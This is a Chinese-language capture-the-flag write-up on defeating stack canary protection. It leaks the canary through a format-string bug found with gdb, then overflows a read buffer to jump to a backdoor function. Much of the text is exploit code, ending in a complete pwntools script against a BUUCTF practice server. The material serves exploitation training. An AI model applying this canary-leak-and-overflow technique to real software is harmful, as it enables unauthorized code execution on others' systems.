0x01 前言:

初见Canary保护,主要还是了解Canary的原理以及如何绕过

0x02 分析:

check:

图片
可以看到开了canary保护

原理是在一个函数的入口,先从fs/gs寄存器中取出一个四字节(eax)或者八字节的rax的值存在栈上(最低位都是\x00),当函数结束是会检查这个栈上的值是否和存在去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序就会执行___stack_chk_fali函数,继而保护程序

我们先打开ida看看:
图片可以看到有printf, 大致的思路就是通过字符串格式化漏洞, 把字符串的偏移给找出来, 然后通过下面的read做栈溢出, 正常溢出到后门函数, 但是在溢出的时候我们把canary的值给修改了, 所以在构造payload的时候需要注意payload的结构, 首先我们先执行下这个程序:
图片可以看到字符串的偏移是6, 接下来用gdb看看canary在哪里, 我们先在main函数的call printf这里下一个断点:
图片首先启动gdb, 输入

1
gdb ./canary

打上断点:

1
2
pwndbg> b *0x401335
Breakpoint 1 at 0x401335

输入r让程序跑到第一个read处:
图片现在就停在这里等待我们输入, 我们还是输入刚才运行程序输入的那串字符串:
图片我们可以观察一下stack上的结构, 第一行明显是栈顶, 最后一行是返回地址, 那么我们知道canary生成的值是以\x00结尾的, 那么我们可以合理猜测0x7fffffffd9f8上这个0xf8d2a4a24d989c00就是canary, 进一步验证一下, 我们在gdb中输入canary:
图片对比一下我们的猜测, 的确是这个值, 现在我们需要计算一下canary距离输入入口的偏移,
一行8个字节, 我们只需要将canary所在的地址减去入口地址再除以8即可:

1
(0xf8-0xd0)/8=5

知道了canary相对入口的偏移, 还需要加上字符串的偏移, 也就是5+6=11, 我们就可以用格式化字符串去泄露它, 所以exp的结构为: 第一次的read泄露canary的值:

1
2
3
4
payload1=b'aaaaaaaa%11$p'
p.sendlineafter('Give me some gift?',payload1)
p.recvuntil('aaaaaaaa')
canary=int(p.recvuntil(b'00').decode(),16)

第二次的read就是正常的栈溢出, 但是需要注意canary的位置需要在离入口(0xf8-0xd0)的位置, 通过刚才gdb可以看到canary距离函数的返回地址之间还有8, exp:

1
p.sendlineafter('Show me your magic',b'a'*(0xf8-0xd0)+p64(canary)+b'a'*0x8+p64(shell_addr))

0x03 GET_FLAG:

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from ctypes import *
from LibcSearcher import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/e/Desktop/题目附件/canary')
libc=ELF('/mnt/e/Desktop/libc-2.27.so')#Ubuntu16

debug = 1 #打远程时改成1
if debug:
buuctf='node5.buuoj.cn'
p = remote(buuctf,29025) #打远程时修改ip和端口
else:
p = process('/mnt/e/Desktop/题目附件/canary')

shell_addr=0x401262

payload1=b'aaaaaaaa%11$p'
p.sendlineafter('Give me some gift?',payload1)
p.recvuntil('aaaaaaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.sendlineafter('Show me your magic',b'a'*(0xf8-0xd0)+p64(canary)+b'a'*0x8+p64(shell_addr))

p.interactive()